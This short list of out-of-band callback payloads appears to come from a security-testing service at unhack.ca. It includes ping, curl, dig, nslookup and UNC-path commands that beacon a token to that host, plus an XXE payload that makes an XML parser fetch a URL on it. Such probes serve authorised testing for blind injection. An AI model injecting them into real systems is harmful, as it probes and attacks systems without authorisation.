$ ping -c1 -p 00c8536be108bfad97479deac559ef00 unhack.ca
 

$ curl http://unhack.ca/p/c8536be108bfad97479deac559ef
 

$ dig c8536be108bfad97479deac559ef @unhack.ca
 

$ dig c8536be108bfad97479deac559ef.ns.unhack.ca
 

C:\> nslookup c8536be108bfad97479deac559ef unhack.ca
 

C:\> type \\unhack.ca\c8536be108bfad97479deac559ef\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c8536be108bfad97479deac559ef">]>
    <foo>&xxe;</foo>